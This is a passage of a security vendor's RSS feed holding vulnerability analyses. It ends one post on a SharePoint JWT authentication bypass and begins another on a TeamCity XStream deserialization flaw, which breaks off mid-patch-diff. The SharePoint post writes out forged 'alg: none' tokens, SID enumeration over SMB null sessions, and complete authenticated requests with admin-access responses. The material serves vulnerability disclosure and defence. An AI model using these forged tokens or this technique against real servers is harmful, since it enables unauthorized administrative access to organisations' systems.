                  de:13:e4:1e:1b:34:7f:b6:ad:79:35:d6:f6:47:1b:b7:
                  37:d5:8f:d5:b8:0c:32:6c:b1:a7:77:04:98:a2:24:fc:
                  69:33:a0:9c:7b:04:07:d8:ea:66:38:a9:92:29:f0:9e:
                  8c:21:93:57:7a:2e:c3:da:c2:6e:97:fb:2f:33:ed:2a:
                  a4:56:03:1d:a8:a5:41:e6:00:0c:10:25:1e:76:fd:2a:
                  19:dd:be:01:6f:f6:8f:c0:db:93:73:4d:5b:75:dd:74:
                  20:72:7b:6c:10:3f:41:9e:8a:84:23:72:f7:83:2b:85:
                  34:9f:ed:ea:26:33:b0:1b:46:38:ff:b2:5e:c7:f2:15
  Exponent:       65537 (0x10001)
Certificate Signature
  Algorithm:      SHA256withRSA
  Signature:      3d:7c:3b:4d:d5:3a:53:d8:a3:db:cb:a2:ad:49:b8:a1:
                  09:3a:42:d7:71:e3:61:bc:24:d9:33:e3:8a:05:e2:cd:
                  62:7d:a3:83:2c:aa:a0:5c:25:62:1d:1a:34:6c:98:f7:
                  28:0c:f5:69:25:94:76:57:7f:c2:b3:b0:f7:db:5b:c4:
                  f9:9e:f6:c7:7c:8a:51:cd:eb:57:ca:8d:43:f3:97:b3:
                  4c:c8:0f:39:f3:de:45:9c:0e:49:eb:6b:0a:70:f8:e6:
                  ba:c0:c7:0f:55:a3:49:80:3e:cb:8e:cb:fc:8d:ea:95:
                  40:8b:f6:73:8f:86:a8:c7:37:86:c4:41:82:55:ed:cf:
                  57:fb:d9:66:9c:ad:50:06:6a:ad:8d:0f:83:cb:cb:62:
                  7b:a0:7d:5c:ab:d2:66:06:fc:72:55:5c:ee:95:de:1b:
                  79:38:7a:a3:6a:8b:c0:2d:80:ba:16:e9:49:93:ff:bb:
                  57:ce:aa:2d:0b:da:32:06:67:80:dd:47:1a:8f:df:47:
                  27:fe:33:04:de:dc:3a:32:0b:ef:cc:4d:61:db:3c:0c:
                  85:44:a8:6a:99:14:bd:f4:b8:eb:c9:9c:47:9c:02:6b:
                  47:6c:c8:39:c9:7d:a8:3b:4a:75:d4:f4:8c:f8:95:48:
                  88:2e:e0:58:29:5f:69:9d:13:6b:4b:4b:1b:95:5d:99:
                  7d:30:7f:39:b1:4b:e8:c1:10:5a:af:15:40:37:04:5b:
                  82:95:07:9a:98:a7:6f:20:11:3b:70:55:c6:fc:cb:a3:
                  a4:26:e8:88:b3:f4:a9:d6:54:84:65:1d:b8:58:b2:f7:
                  8b:c7:d2:8c:4a:40:56:55:2d:3e:b6:4f:87:0d:6c:cb:
                  b4:58:61:8e:63:ae:cd:f2:9f:54:2b:35:2f:2d:58:ac:
                  d0:59:d1:d6:74:2f:cb:84:89:49:db:78:90:1c:d4:50:
                  0e:36:cf:bd:2f:fc:00:a9:cc:72:d7:b0:44:e2:97:e3:
                  27:19:b4:d7:31:f1:06:57:39:7e:b3:6f:bd:4a:ee:0e:
                  a5:3b:43:7b:c0:08:31:d0:cf:a0:7f:2e:68:79:25:2c:
                  5e:b9:15:43:ca:6b:e6:87:1a:54:c1:f5:53:f2:63:24:
                  82:fb:e3:c2:20:f2:2b:6b:fb:b1:8d:bd:b5:57:e1:81:
                  3d:4f:18:81:b1:6c:3a:20:8d:17:7e:80:70:66:a4:b2:
                  48:9e:82:18:3d:ec:40:47:ba:6c:d0:ba:83:e7:9e:f0:
                  a4:91:1a:f6:ff:15:39:f5:8c:70:d3:57:92:e3:6a:5f:
                  54:d7:89:95:70:c6:2b:01:2d:02:23:75:17:09:1a:cb:
                  62:62:ed:da:bf:c1:7b:45:cb:93:ac:54:19:5e:ad:e7

Extensions
  keyUsage CRITICAL:
    digitalSignature,keyEncipherment
  extKeyUsage :
    serverAuth, clientAuth
  basicConstraints CRITICAL:
    {}</pre><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>Using the above x509 certificate, we can compute the </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>x5t</span></span><span style='font-size: undefined;'> by base64 decoding the entire x509 certificate, computing the SHA1 digest value, then base64 encoding that raw digest value. In our example we get an </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>x5t</span></span><span style='font-size: undefined;'> value of </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>i_gz5qfYp5YPWAK1__0YhZnipLI</span></span><span style='font-size: undefined;'>. We can also see we discover the target realm (</span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>af90cc03-4a26-45e9-906a-609cebcebbde</span></span><span style='font-size: undefined;'>) which we will use later in the forged JWT.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>We then begin to construct the malicious JWT. The outer token will have a header of:</span></p><p></p><pre language="json">{"alg": "none", "typ": "JWT"}</pre><p></p><p><span style='font-size: undefined;'>The payload is shown below. The audience (</span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>aud</span></span><span style='font-size: undefined;'>) claim contains the target systems hostname (</span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>win-b0i6kv698ls</span></span><span style='font-size: undefined;'>) and realm. The issuer (</span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>iss</span></span><span style='font-size: undefined;'>) claim is </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>00000003-0000-0ff1-ce00-000000000000</span></span><span style='font-size: undefined;'> which is the well known SharePoint principal application ID. The Name ID (</span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>nameid</span></span><span style='font-size: undefined;'>) represent the SharePoint user we will identify as, in our example we use a SID of </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>S-1-5-21-4203888158-2793536450-3921675298-500</span></span><span style='font-size: undefined;'> which represent the domain admin that we want to authenticate as using the </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>urn:office:idp:activedirectory</span></span><span style='font-size: undefined;'> identity provider. Finally an inner </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>actortoken</span></span><span style='font-size: undefined;'> token is base64 encoded.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>As an aside, we discover the target SID to use by first contacting the target SharePoint servers domain controller over SMB. We can use an SMB NULL session to query the LSARPC named pipe and learn the domain's Domain ID value. Then by appending Relative Identifier (RID) values (e.g. </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>500</span></span><span style='font-size: undefined;'>, </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>1000</span></span><span style='font-size: undefined;'>, </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>1001</span></span><span style='font-size: undefined;'>, </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>1002</span></span><span style='font-size: undefined;'>, ...) to the Domain ID, we can construct potential user SIDs to authenticate as. By repeating this process we iterate over all users and discover which ones are valid site user administrators. It is worth pointing out that the forged JWT does not solely require a Windows SID, and we can also identify a user via a User Principal Name (UPN), e.g. </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>administrator@domain.local</span></span><span style='font-size: undefined;'> or similar. However, discovering a valid SID is more reliable in an automated scenario (assuming you can access the domain controller) than brute forcing potential UPN's, which is best suited to manual reconnaissance.</span></p><p></p><pre language="json">{
  "aud": "00000003-0000-0ff1-ce00-000000000000/win-b0i6kv698ls@af90cc03-4a26-45e9-906a-609cebcebbde",
  "iss": "00000003-0000-0ff1-ce00-000000000000@af90cc03-4a26-45e9-906a-609cebcebbde",
  "nbf": 1776765672,
  "exp": 1776769572,
  "nameid": "S-1-5-21-4203888158-2793536450-3921675298-500",
  "nii": "urn:office:idp:activedirectory",
  "trustedfordelegation": "true",
  "actortoken": "eyJhbGciOiAiUlMyNTYiLCAidHlwIjogIkpXVCIsICJ4NXQiOiAiaV9nejVxZllwNVlQV0FLMV9fMFloWm5pcExJIn0.eyJpc3MiOiAiMDAwMDAwMDMtMDAwMC0wZmYxLWNlMDAtMDAwMDAwMDAwMDAwQGFmOTBjYzAzLTRhMjYtNDVlOS05MDZhLTYwOWNlYmNlYmJkZSIsICJuYW1laWQiOiAiMDAwMDAwMDMtMDAwMC0wZmYxLWNlMDAtMDAwMDAwMDAwMDAwQGFmOTBjYzAzLTRhMjYtNDVlOS05MDZhLTYwOWNlYmNlYmJkZSIsICJuYmYiOiAxNzc2NzY1NjcyLCAiZXhwIjogMTc3Njc2OTU3Mn0.AAAA"
}</pre><p><span style='font-size: undefined;'></span></p><p><span style='font-size: undefined;'>Inspecting the inner </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>actortoken</span></span><span style='font-size: undefined;'> token, it will have a header as shown below, which includes the </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>x5t</span></span><span style='font-size: undefined;'> value </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>i_gz5qfYp5YPWAK1__0YhZnipLI</span></span><span style='font-size: undefined;'> corresponding to the SharePoint server's STS signing certificate.</span></p><p></p><pre language="json">{"alg": "RS256", "typ": "JWT", "x5t": "i_gz5qfYp5YPWAK1__0YhZnipLI"}</pre><p></p><p><span style='font-size: undefined;'>The inner </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>actortoken</span></span><span style='font-size: undefined;'> token will have a payload as shown below. Note the </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>nameid</span></span><span style='font-size: undefined;'> of this token is the same as the issuer of the STS certificate, this allows a call to </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>SPJsonWebSecurityBaseTokenHandlerV2.ValidateActorIsSelfIssuer</span></span><span style='font-size: undefined;'> to succeed.</span></p><p></p><pre language="json">{
  "iss": "00000003-0000-0ff1-ce00-000000000000@af90cc03-4a26-45e9-906a-609cebcebbde",
  "nameid": "00000003-0000-0ff1-ce00-000000000000@af90cc03-4a26-45e9-906a-609cebcebbde",
  "nbf": 1776765672,
  "exp": 1776769572
}</pre><p><span style='font-size: undefined;'></span></p><p><span style='font-size: undefined;'>And a signature which is an arbitrary non-empty string:</span></p><p></p><pre language="html">AAAA</pre><p></p><p><span style='font-size: undefined;'>Constructing the above JWT, we can base64 encode it as a bearer token and make a request to an authenticated endpoint, such as </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>/_api/web/currentuser</span></span><span style='font-size: undefined;'> and prove we are authenticating as a SharePoint user.</span></p><p></p><pre language="html">GET /_api/web/currentuser HTTP/1.1
Host: win-b0i6kv698ls
User-Agent: curl/7.81.0
Authorization: Bearer eyJhbGciOiAibm9uZSIsICJ0eXAiOiAiSldUIn0.eyJhdWQiOiAiMDAwMDAwMDMtMDAwMC0wZmYxLWNlMDAtMDAwMDAwMDAwMDAwL3dpbi1iMGk2a3Y2OThsc0BhZjkwY2MwMy00YTI2LTQ1ZTktOTA2YS02MDljZWJjZWJiZGUiLCAiaXNzIjogIjAwMDAwMDAzLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMEBhZjkwY2MwMy00YTI2LTQ1ZTktOTA2YS02MDljZWJjZWJiZGUiLCAibmJmIjogMTc3Njc2NTY3MiwgImV4cCI6IDE3NzY3Njk1NzIsICJuYW1laWQiOiAiUy0xLTUtMjEtNDIwMzg4ODE1OC0yNzkzNTM2NDUwLTM5MjE2NzUyOTgtNTAwIiwgIm5paSI6ICJ1cm46b2ZmaWNlOmlkcDphY3RpdmVkaXJlY3RvcnkiLCAidHJ1c3RlZGZvcmRlbGVnYXRpb24iOiAidHJ1ZSIsICJhY3RvcnRva2VuIjogImV5SmhiR2NpT2lBaVVsTXlOVFlpTENBaWRIbHdJam9nSWtwWFZDSXNJQ0o0TlhRaU9pQWlhVjluZWpWeFpsbHdOVmxRVjBGTE1WOWZNRmxvV201cGNFeEpJbjAuZXlKcGMzTWlPaUFpTURBd01EQXdNRE10TURBd01DMHdabVl4TFdObE1EQXRNREF3TURBd01EQXdNREF3UUdGbU9UQmpZekF6TFRSaE1qWXRORFZsT1MwNU1EWmhMVFl3T1dObFltTmxZbUprWlNJc0lDSnVZVzFsYVdRaU9pQWlNREF3TURBd01ETXRNREF3TUMwd1ptWXhMV05sTURBdE1EQXdNREF3TURBd01EQXdRR0ZtT1RCall6QXpMVFJoTWpZdE5EVmxPUzA1TURaaExUWXdPV05sWW1ObFltSmtaU0lzSUNKdVltWWlPaUF4TnpjMk56WTFOamN5TENBaVpYaHdJam9nTVRjM05qYzJPVFUzTW4wLkFBQUEifQ.
Accept: application/json;odata=verbose
</pre><p><br/><span style='font-size: undefined;'>The following response shows this has worked, and the user we identified as is in fact a SharePoint site administrator (The returned </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>IsSiteAdmin</span></span><span style='font-size: undefined;'> value is </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>true</span></span><span style='font-size: undefined;'>).</span><br/></p><pre language="html">HTTP/1.1 200 OK
Cache-Control: private, max-age=0
Transfer-Encoding: chunked
Content-Type: application/json;odata=verbose;charset=utf-8
Expires: Mon, 06 Apr 2026 10:06:12 GMT
Last-Modified: Tue, 21 Apr 2026 10:06:12 GMT
Server: Microsoft-IIS/10.0
X-SharePointHealthScore: 0
X-SP-SERVERSTATE: ReadOnly=0
DATASERVICEVERSION: 3.0
SPClientServiceRequestDuration: 12
SPRequestDuration: 83
X-AspNet-Version: 4.0.30319
SPRequestGuid: e01a0ca2-0b92-e0bd-6d28-7b843e6bda5c
request-id: e01a0ca2-0b92-e0bd-6d28-7b843e6bda5c
X-FRAME-OPTIONS: SAMEORIGIN
Content-Security-Policy: frame-ancestors 'self' teams.microsoft.com *.teams.microsoft.com *.skype.com *.teams.microsoft.us local.teams.office.com *.powerapps.com *.yammer.com *.officeapps.live.com *.office.com *.stream.azure-test.net *.microsoftstream.com *.dynamics.com *.microsoft.com onedrive.live.com *.onedrive.live.com;
X-Powered-By: ASP.NET
MicrosoftSharePointTeamServices: 16.0.0.19725
X-Content-Type-Options: nosniff
X-MS-InvokeApp: 1; RequireReadOnly
Date: Tue, 21 Apr 2026 10:06:12 GMT

{"d":{"__metadata":{"id":"https://win-b0i6kv698ls/_api/Web/GetUserById(1073741823)","uri":"https://win-b0i6kv698ls/_api/Web/GetUserById(1073741823)","type":"SP.User"},"Alerts":{"__deferred":{"uri":"https://win-b0i6kv698ls/_api/Web/GetUserById(1073741823)/Alerts"}},"Groups":{"__deferred":{"uri":"https://win-b0i6kv698ls/_api/Web/GetUserById(1073741823)/Groups"}},"Id":1073741823,"IsHiddenInUI":false,"LoginName":"SHAREPOINT\\system","Title":"System Account","PrincipalType":1,"Email":"","IsEmailAuthenticationGuestUser":false,"IsShareByEmailGuestUser":false,"IsSiteAdmin":true,"UserId":{"__metadata":{"type":"SP.UserIdInfo"},"NameId":"S-1-0-0","NameIdIssuer":"urn:office:idp:activedirectory"}}}</pre><p></p><p><span style='font-size: undefined;'>To begin to interact with the target SharePoint site as this user we can acquire a new form digest value via a POST request to the </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>/_api/contextinfo</span></span><span style='font-size: undefined;'> endpoint.</span></p><p></p><pre language="html">POST /_api/contextinfo HTTP/1.1
Host: win-b0i6kv698ls
User-Agent: curl/7.81.0
Authorization: Bearer eyJhbGciOiAibm9uZSIsICJ0eXAiOiAiSldUIn0.eyJhdWQiOiAiMDAwMDAwMDMtMDAwMC0wZmYxLWNlMDAtMDAwMDAwMDAwMDAwL3dpbi1iMGk2a3Y2OThsc0BhZjkwY2MwMy00YTI2LTQ1ZTktOTA2YS02MDljZWJjZWJiZGUiLCAiaXNzIjogIjAwMDAwMDAzLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMEBhZjkwY2MwMy00YTI2LTQ1ZTktOTA2YS02MDljZWJjZWJiZGUiLCAibmJmIjogMTc3Njc2NTY3MiwgImV4cCI6IDE3NzY3Njk1NzIsICJuYW1laWQiOiAiUy0xLTUtMjEtNDIwMzg4ODE1OC0yNzkzNTM2NDUwLTM5MjE2NzUyOTgtNTAwIiwgIm5paSI6ICJ1cm46b2ZmaWNlOmlkcDphY3RpdmVkaXJlY3RvcnkiLCAidHJ1c3RlZGZvcmRlbGVnYXRpb24iOiAidHJ1ZSIsICJhY3RvcnRva2VuIjogImV5SmhiR2NpT2lBaVVsTXlOVFlpTENBaWRIbHdJam9nSWtwWFZDSXNJQ0o0TlhRaU9pQWlhVjluZWpWeFpsbHdOVmxRVjBGTE1WOWZNRmxvV201cGNFeEpJbjAuZXlKcGMzTWlPaUFpTURBd01EQXdNRE10TURBd01DMHdabVl4TFdObE1EQXRNREF3TURBd01EQXdNREF3UUdGbU9UQmpZekF6TFRSaE1qWXRORFZsT1MwNU1EWmhMVFl3T1dObFltTmxZbUprWlNJc0lDSnVZVzFsYVdRaU9pQWlNREF3TURBd01ETXRNREF3TUMwd1ptWXhMV05sTURBdE1EQXdNREF3TURBd01EQXdRR0ZtT1RCall6QXpMVFJoTWpZdE5EVmxPUzA1TURaaExUWXdPV05sWW1ObFltSmtaU0lzSUNKdVltWWlPaUF4TnpjMk56WTFOamN5TENBaVpYaHdJam9nTVRjM05qYzJPVFUzTW4wLkFBQUEifQ.
Accept: application/json
Content-Length: 0
</pre><p></p><p><span style='font-size: undefined;'>Whose response contains a new </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>FormDigestValue</span></span><span style='font-size: undefined;'> we can begin to use.</span></p><p></p><pre language="html">HTTP/1.1 200 OK
Cache-Control: private, max-age=0
Transfer-Encoding: chunked
Content-Type: application/json;odata=minimalmetadata;streaming=true;charset=utf-8
Expires: Mon, 06 Apr 2026 10:06:12 GMT
Last-Modified: Tue, 21 Apr 2026 10:06:12 GMT
Server: Microsoft-IIS/10.0
X-SharePointHealthScore: 0
X-SP-SERVERSTATE: ReadOnly=0
DATASERVICEVERSION: 3.0
SPClientServiceRequestDuration: 4
SPRequestDuration: 17
X-AspNet-Version: 4.0.30319
SPRequestGuid: e01a0ca2-db97-e0bd-6d28-795e9bdf7bdb
request-id: e01a0ca2-db97-e0bd-6d28-795e9bdf7bdb
X-FRAME-OPTIONS: SAMEORIGIN
Content-Security-Policy: frame-ancestors 'self' teams.microsoft.com *.teams.microsoft.com *.skype.com *.teams.microsoft.us local.teams.office.com *.powerapps.com *.yammer.com *.officeapps.live.com *.office.com *.stream.azure-test.net *.microsoftstream.com *.dynamics.com *.microsoft.com onedrive.live.com *.onedrive.live.com;
X-Powered-By: ASP.NET
MicrosoftSharePointTeamServices: 16.0.0.19725
X-Content-Type-Options: nosniff
X-MS-InvokeApp: 1; RequireReadOnly
Date: Tue, 21 Apr 2026 10:06:12 GMT

{"odata.metadata":"https://win-b0i6kv698ls/_api/$metadata#SP.ContextWebInformation","FormDigestTimeoutSeconds":1800,"FormDigestValue":"0x08350AA4E26C638120137515168806E0389312ED89151357A505BA8F1F7B4992AAAF9A15D4DD3D5E43ACADE857B5AE5BFFCA753401F5E5A0C3EB6F483E4188E2,21 Apr 2026 10:06:12 -0000","LibraryVersion":"16.0.19725.20210","SiteFullUrl":"https://win-b0i6kv698ls","SupportedSchemaVersions":["14.0.0.0","15.0.0.0"],"WebFullUrl":"https://win-b0i6kv698ls"}</pre><p></p><p><span style='font-size: undefined;'>With authentication bypassed, and with a valid form digest, the remote attacker can begin to interact with the authenticated attack surface of the target SharePoint site.</span></p><h2><span style='font-size: undefined;'>Upcoming webinar</span></h2><p>Interested in the AI tooling leveraged throughout the research process? Join Rapid7's Stephen Fewer and Douglas McKee on Thursday, August 13 to walk through the full exploit chain, actionable next steps and more. <a href="https://www.brighttalk.com/webcast/10457/673829?utm_source=Rapid7&amp;utm_medium=brighttalk&amp;utm_medium=organic-social&amp;utm_campaign=673829%3Futm_source%3Dlinkedin&amp;utm_campaign=global-mdr-q3-2026-global-webinar-prospect-eng-etos-25&amp;utm_content=microsoft-sharepoint-webinar&amp;utm_term=touch1" target="_blank">Register here</a>.<br/></p>]]></description>
      <link>https://www.rapid7.com/blog/post/ra-microsoft-sharepoint-jwt-token-authentication-bypass-cve-2026-55040</link>
      <guid isPermaLink="false">blt59f5963a5afdb8e9</guid>
      <category><![CDATA[Rapid7 Analysis]]></category>
      <category><![CDATA[Emergent Threat Response]]></category>
      <category><![CDATA[Vulnerability Disclosure]]></category><dc:creator><![CDATA[Stephen Fewer]]></dc:creator>
      <pubDate>Tue, 11 Aug 2026 13:00:00 GMT</pubDate><media:content url="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltcbf09ec3af35e28e/6a15c63f08221ed5144dbf77/webinar-rapid7-logo.jpg" medium="image" />
    </item>
    <item>
      <title><![CDATA[Rapid7 Analysis: Unauthenticated Remote Code Execution in JetBrains TeamCity (CVE-2026-63077)]]></title>
      <description><![CDATA[<h2 style="direction: ltr;">Overview</h2><p style="direction: ltr;"><span style='font-size: undefined;'>On July 27, 2026, JetBrains published a </span><a href="https://blog.jetbrains.com/teamcity/2026/07/cve-2026-63077/"><span style='font-size: undefined;'>security advisory</span></a><span style='font-size: undefined;'> for </span><a href="https://www.rapid7.com/db/vulnerabilities/cve-2026-63077/"><span style='font-size: undefined;'>CVE-2026-63077</span></a><span style='font-size: undefined;'>, a critical unsafe deserialization vulnerability affecting JetBrains </span><a href="https://www.jetbrains.com/teamcity/"><span style='font-size: undefined;'>TeamCity</span></a><span style='font-size: undefined;'>. An attacker who can reach a TeamCity server over HTTP or HTTPS can exploit the agent polling protocol without credentials and execute operating system commands with the privileges of the TeamCity server process.</span></p><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>JetBrains reported no known active exploitation when it disclosed the vulnerability. However, on August 5, 2026, CISA added CVE-2026-63077 to its </span><a href="https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-63077"><span style='font-size: undefined;'>Known Exploited Vulnerabilities</span></a><span style='font-size: undefined;'> (KEV) catalog, confirming exploitation in the wild.</span></p><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>Our analysis finds that a vulnerable TeamCity server creates a permissive XStream allowlist. This allowlist is intended to restrict which Java classes can be deserialized when servicing unauthenticated agent requests. However, this allowlist incorrectly adds TeamCity protocol classes without removing XStream's existing default permissions. This introduces an unsafe deserialization issue. A patched TeamCity server remediates this by adding </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>NoTypePermission.NONE</span></span><span style='font-size: undefined;'> before the TeamCity allowlist, which removes the default permissions and makes the allowlist exclusive. </span></p><p><span style='font-size: undefined;'></span></p><p><span style='font-size: undefined;'>Rapid7 Labs has verified that the patch successfully remediates the exploit described in this analysis. A proof-of-concept script for CVE-2026-63077 can be found </span><a href="https://github.com/sfewer-r7/CVE-2026-63077"><span style='font-size: undefined;'>here</span></a><span style='font-size: undefined;'>.</span></p><h2 style="direction: ltr;">Analysis</h2><p style="direction: ltr;"><span style='font-size: undefined;'>Our analysis compares a vulnerable TeamCity version </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>2026.1.2</span></span><span style='font-size: undefined;'> against a patched version </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>2026.1.3</span></span><span style='font-size: undefined;'>.</span></p><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>TeamCity uses a central server to coordinate builds and separate build agents to run them. An agent can communicate with the server through the agent polling protocol: it registers, asks the server for its next command, and reports whether that command succeeded or failed. The endpoints under </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>/app/agents/v1</span></span><span style='font-size: undefined;'> support this agent communication channel rather than the TeamCity web interface or REST API. A </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>TeamCity-AgentSessionId</span></span><span style='font-size: undefined;'> HTTP header value identifies a polling connection, but it does not mean that either a user or agent has authenticated to TeamCity, as access to many agent endpoints remains unauthenticated.</span></p><p></p><p style="direction: ltr;"><a href="https://x-stream.github.io/"><span style='font-size: undefined;'>XStream</span></a><span style='font-size: undefined;'> is a Java library that converts object graphs to XML and reconstructs those graphs from XML. An </span><a href="https://x-stream.github.io/graphs.html"><span style='font-size: undefined;'>object graph</span></a><span style='font-size: undefined;'> can contain nested objects, collection entries, private fields, and references to an object that appeared earlier in the document. XStream aliases give Java types shorter XML names. For example, </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>&lt;linked-hash-map&gt;</span></span><span style='font-size: undefined;'> is XStream's alias for </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>java.util.LinkedHashMap</span></span><span style='font-size: undefined;'>. Nested element names and </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>class</span></span><span style='font-size: undefined;'> attributes select other concrete Java types, while reference attributes point back to objects that XStream has already constructed. Converters and reflection-based code then allocate the selected types and populate their fields.</span></p><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>Patch diff</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>The class </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>jetbrains.buildServer.messages.XStreamHolder</span></span><span style='font-size: undefined;'> is TeamCity's wrapper for creating and configuring XStream instances. TeamCity </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>2026.1.2</span></span><span style='font-size: undefined;'> creates an instance of </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>XStreamHolder</span></span><span style='font-size: undefined;'>, configures it, and then calls </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>setupSecurityIfNeeded()</span></span><span style='font-size: undefined;'>. If the TeamCity allowlists contain entries, this method adds those entries to the permissions that XStream already installed:</span></p><p><span style='font-size: undefined;'></span></p><pre language="java">// ./webapps/ROOT/WEB-INF/lib/messages.jar
package jetbrains.buildServer.messages;

public class XStreamHolder {

// ...

private void setupSecurityIfNeeded(XStreamWrapper xStream) {
  if (this.myAdditionalClassesWhiteList.isEmpty()
            && OUR_STATIC_CLASSES_WHITE_LIST.isEmpty()) {
    XStreamHolder.setupDefaultSecurityOldWay(xStream);
    return;
  }
    xStream.allowTypes(OUR_STATIC_CLASSES_WHITE_LIST.keySet()
        .toArray(new String[0]));                         // &lt;--- [1]
    xStream.allowTypes(this.myAdditionalClassesWhiteList
        .toArray(new String[0]));                         // &lt;--- [2]
}</pre><p style="direction: ltr;"><span style='font-size: undefined;'></span></p><p><span style='font-size: undefined;'>The calls at </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>[1]</span></span><span style='font-size: undefined;'> and </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>[2]</span></span><span style='font-size: undefined;'> do not start from an empty permission set. The bundled XStream </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>1.4.20.3</span></span><span style='font-size: undefined;'> constructor has already called </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>setupSecurity()</span></span><span style='font-size: undefined;'>, which permits several broad type hierarchies, including </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>Map</span></span><span style='font-size: undefined;'> and </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>Throwable</span></span><span style='font-size: undefined;'>:</span></p><p style="direction: ltr;"><span style='color:rgb(184, 6, 114);font-size: undefined;'></span></p><pre language="java">// ./webapps/ROOT/WEB-INF/lib/xstream.jar
package com.thoughtworks.xstream;

public class XStream {
// ...

protected void setupSecurity() {
  if (this.securityMapper == null)
    return; 
  addPermission(NoTypePermission.NONE);          // &lt;--- Clears all existing permissions
  addPermission(NullPermission.NULL);
  addPermission(PrimitiveTypePermission.PRIMITIVES);
  addPermission(ArrayTypePermission.ARRAYS);
  addPermission(InterfaceTypePermission.INTERFACES);
  allowTypeHierarchy(Calendar.class);
  allowTypeHierarchy(Collection.class);
  allowTypeHierarchy(Map.class);                 // &lt;--- Map is allowed
  allowTypeHierarchy(Map.Entry.class);
  allowTypeHierarchy(Member.class);
  allowTypeHierarchy(Number.class);
  allowTypeHierarchy(Throwable.class);           // &lt;--- Throwable is allowed
  allowTypeHierarchy(TimeZone.class);
  // ...</pre><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>Therefore, even though TeamCity has not explicitly allowed any types, several allowed types are already present on the permission list due to XStream's defaults. This is enough to lead to unsafe deserialization.</span></p><p><span style='font-size: undefined;'></span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The patch from version </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>2026.1.3</span></span><span style='font-size: undefined;'> can be seen in the diff below and shows how these default allowed types are now cleared by TeamCity:</span></p><p style="direction: ltr;"><span style='color:rgb(24, 128, 56);font-size: undefined;'></span></p><pre language="diff">+import com.thoughtworks.xstream.security.NoTypePermission;

+private static volatile boolean isWhiteListForced = true;

+public static void forceWhiteList(boolean force) {
+    isWhiteListForced = force;
+}

 private void setupSecurityIfNeeded(XStreamWrapper xStream) {
     if (this.myAdditionalClassesWhiteList.isEmpty()
             && OUR_STATIC_CLASSES_WHITE_LIST.isEmpty()) {
         XStreamHolder.setupDefaultSecurityOldWay(xStream);
         return;
     }
+    if (isWhiteListForced) {
